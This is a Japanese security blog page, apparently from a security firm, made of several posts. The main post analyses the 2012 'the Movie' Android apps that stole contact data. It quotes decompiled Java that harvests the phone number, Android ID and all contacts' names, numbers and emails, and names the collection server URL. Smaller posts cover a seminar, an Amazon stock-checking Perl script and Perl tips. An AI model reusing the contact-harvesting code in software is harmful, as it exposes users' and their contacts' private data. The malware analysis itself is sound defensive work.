The Movieアプリによる情報漏洩の経過



結果どうなったかというと:

13日で被害の拡大が止まりました。アプリを実行しても送信先のサーバが止まっているため実行した人の電話帳にある個人情報は送信されません。


  • 13日午前2時〜3時ぐらいでGoogle Playストアからアプリが削除
  • 13日午後4時頃情報を送っていた先のサーバが停止したのを確認

アプリ名とダウンロード数は以下の表です。

アプリ名 作者名 ダウンロド数
ウォーリーを探せ the Movie hamnaruka 10000-50000
大盛モモ太郎 THE MOVIE hamnaruka 1000-5000
桃太郎電鉄 the Movie hamnaruka 5000-10000
メガ盛りポテト THE MOVIE hamnaruka 1000-5000
スヌーピー ストリート THE MOVIE hamnaruka 1000-5000
FC2動画まとめ the Movie hamnaruka 1000-5000
スク水動画まとめ hamnaruka 5000-10000
けいおん-K-ON!動画 tsunakan 1000-5000
うまい棒をつくろう! the Movie tsunakan 10000-50000
連打の達人 the Movie tsunakan 10000-50000
空手チョップ! the Movie tsunakan 5000-10000
ぴよ盛り the Movie tsunakan 10000-50000
チャリ走-the Movie tsunakan 1000-5000
魔界村 騎士列伝 THE MOVIE tsunakan 5000-10000
3D 視力回復THE MOVIE tsunakan 500-1000
ギャングハウンド the Movie tsunakan 100-500

TSUNAKAN hack

またまた来ました大変なことをしてくれるAndroidアプリ。



ヘンなアプリに要注意! データぶっこ抜きアプリか?Google playに不審なアプリが出回る - ライブドアニュース

ITライフハック



なんとか The Movieという名前がつくのが今回のアプリの特徴です。内容はそのアプリを動かした動画が見られます。


結果から言いますと、このアプリは、アプリを実行した電話の電話番号とAndroid_ID
自分の名前、電話帳に登録してある人すべての名前とメールアドレスをこの人のサーバにアップロードしてしまいます。


これらのアプリの総ダウンロード数GooglePlayの表示を足すと、66,600〜271,500。ダウンロードした人たちの連絡先に平均50人入っているとして、3,330,000〜13,575,000人という、とてつもない人数の個人情報が集まっているのではないかということです。



パケットキャプチャは真実を発見するということで、解析してみました。

今回は、androidと言うことで、やっていることはまるわかり2つのアプローチから送信内容を確認します。


  1. ソースコードを見てみよう

Androidアプリはjavaで書かれていることが多いので、無線LAN環境で常にパケットキャプチャされているので、そこに、PacketBlackHole があって、Androidアプリや、iPhoneアプリのダウンロードした実体が容易に入手出来る環境になっています。ダウンロードしたアプリをゴニョニョするとJavaソースコードの形で中身が見られます。

問題の箇所は MainActivity.classで

送信先

final String url = "http://depot.bulks.jp/get37.php";


public void onCreate(Bundle paramBundle)クラス内を引用しました。

  public void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    requestWindowFeature(1);
    this.androidid = Settings.Secure.getString(getContentResolver(), "android_id");
    this.tel = ((TelephonyManager)getSystemService("phone")).getLine1Number();
    Cursor localCursor1 = managedQuery(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
    if (!localCursor1.moveToNext())
    {
      localCursor1.close();
      exec_post(this.androidid, this.tel, this.data);
      return;
    }
    this.id = localCursor1.getString(localCursor1.getColumnIndex("_id"));
    this.name = localCursor1.getString(localCursor1.getColumnIndex("display_name"));
    this.data = (this.data + "name:" + this.name);
    Cursor localCursor2 = managedQuery(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id = " + this.id, null, null);
    label184: Cursor localCursor3;
    if (!localCursor2.moveToNext())
    {
      localCursor2.close();
      localCursor3 = managedQuery(ContactsContract.CommonDataKinds.Email.CONTENT_URI, null, "contact_id = " + this.id, null, null);
    }
    while (true)
    {
      if (!localCursor3.moveToNext())
      {
        localCursor3.close();
        this.data += "\n";
        break;
        String str = localCursor2.getString(localCursor2.getColumnIndex("data1"));
        this.data = (this.data + "\ttel:" + str);
        break label184;
      }
      this.email = localCursor3.getString(localCursor3.getColumnIndex("data1"));
      this.data = (this.data + "\temail:" + this.email);
    }
  }
}

ソースを読むと、getSystemService("phone")).getLine1Number(); という部分で。電話番号を取得、managedQuery(ContactsContract.CommonDataKinds.Phone. の部分で電話帳をよんでWebで送ろうとしています。怖いですね。ダウンロード数から推計するとこんなアプリで数万人以上の個人情報が抜けてしまっているのです。

  1. パケットを見てみよう(ただし安全に)

パケットを見てみたいのですが、安全にやるために、プログラムを改変して、社内のサーバにデータを送るようにしました。これで安心して実行できます。更に安全に行うために、Androidエミュレータを用意しその環境で実行しました。


http://www.packetblackhole.jp/pbhc.html


PCでこのPacketBlackHole Probeをつかって常にパケットをとっていますので、あとは探すだけです。wiresharkですとこんな感じに見えます。まさに先ほどのソースでやっていたことが実際に見えるわけです。

ソースコードhttps://play.google.com/store/apps/details?id=jp.nikonikodougamatome&feature=search_result から引用させていただいています。

  1. 該当アプリの一覧

TSUNAKAN - Google Play の Android アプリ

hamnaruka - Google Play の Android アプリ

綾乃, Android用アプリケーション/ゲームのコメント, AndroLib, Android用アプリケーション/ゲーム

LBIセミナー

2月25日(金) に「本当の尖閣」と題して、尖閣ビデオ流出事件で実際に行われた捜査方法を予測して詳細に解説します。
テレビやラジオでは話せなかった内容をノーカットで見られます。
実際の事件をもとに、事件が発生したときの正しい対応方法、調査方法、尖閣ビデオ流出のような問題を起こさないようにする方法を交えて話します。注意:事件当時の報道と予測のみから話しますので一部事実と異なる場合があります。

参加方法 http://www.lbi.gr.jp/modules/eguide/event.php?eid=35#form

  • テーマ

仮想化サーバー活用とセキュリティ最前線
1.ビジネスメールコミュニケーション講座
15:00-15:45
スピーカー:水越浩幸氏
2.仮想化サーバーの活用からWEB構築までの最新情報
16:00-16:45
スピーカー:今駒哲子
3.本当の尖閣
17:00-17:45
スピーカー:杉浦隆幸氏

  • 開催日時

2011年2月25日(金)15:00-18:00

  • 会場

ネットエージェント株式会社 定員50名
本社 〒130-0022 東京都墨田区江東橋4-26-5 東京トラフィック錦糸町ビル9F 錦糸町駅スグ

  • 懇親会

開催します。

  • 参加費用

無料(懇親会 会員3000円 非会員5000円)

参加方法 http://www.lbi.gr.jp/modules/eguide/event.php?eid=35#form

3DSをamazonで購入することにクローラを使う

3DS予約可能になったらブラウザで商品画面を開いてくれるプログラムを書いた。

perl 3DScheck.pl でブラック
perl 3DScheck.pl A でアクアブルーの予約開始時にブラウザが開くようになっています。
ブラウザでアマゾンに事前にログインしておいてください。
amazonは予約完了までが勝負です。

Windows上でのみ動くので、perlは、Active Perlhttp://strawberryperl.com/ を入れてください。




#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request;

sub main{
while(1){
$|=1;
if ($ARGV[0] eq ""){
check_sales('http://www.amazon.co.jp/exec/obidos/ASIN/B00457VVS4/esute01-22/ref=nosim/','http://www.amazon.co.jp/exec/obidos/ASIN/B00457VVS4/netagent-22/ref=nosim/');
}else{
check_sales('http://www.amazon.co.jp/exec/obidos/ASIN/B00457VVRU/esute01-22/ref=nosim/','http://www.amazon.co.jp/exec/obidos/ASIN/B00457VVRU/netagent-22/ref=nosim/');
}
print ".\n";
sleep 30;
}
}

sub check_sales($){
my ($url,$url2)=@_;
my $ret =1;
my $ua = LWP::UserAgent->new;
$ua->agent('Mozilla/5.0 (Windows; U; Windows NT 6.1; ja; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13');
my $req = HTTP::Request->new(GET =>$url );
$req->header('Accept' => 'text/html');

# リクエストの送信
my $res = $ua->request($req);

# 出力のチェック
if ($res->is_success) {
if($res->content=~/span class=\"availRed\"/){
print "Wait";
}elsif($res->content=~/span class=\"availOrange\"/){
print "OK";
`start $url2`;
$ret=1;
exit();
}elsif($res->content=~/span class=\"availGreen\"/){

print "Only 3rd";
}else{
print "??";
}

}
# print $res->content;
return $ret;
}

main();
exit();

使用している自プロセスのメモリサイズを取得する方法

Devel::Sizeでは、変数のメモリサイズしか取れないので。
プログラム全体のサイズは取れないので、自プロセスの実際に使っているメモリを取る方法。
perlだけでも結構メモリを喰っています。モジュールを入れれば入れるほどメモリも食うでしょう。

#!/usr/bin/perl
# 1ページ 4kbの環境の場合

sub get_memsize{
open(IN,"/proc/$$/statm");
my @t=split(/ /,);
close(IN);
return $t[1]*4;
}

print "VmRSS=",get_memsize(),"kB\n";


# statm
# size プログラムの合計サイズ:ページ数
# resident メモリ上にある部分のサイズ:ページ数
# shared 共有されているページ数
# trs コードのページ数
# drs データ/スタックのページ数
# lrs ライブラリのページ数
# dt dirtyページ


実行結果

VmRSS=1748kB

LWP で TEをとろう

GET /hoge.php?q=pon HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE


TEを取りましょう。

LWP/Protocol/http.pm

my $sock = $self->socket_class->new(PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp',
Timeout => $timeout,
KeepAlive => !!$conn_cache,
SendTE => 1,
$self->_extra_sock_opts($host, $port),
);

SendTE => 1, を SendTE => 0,

にすると取れます。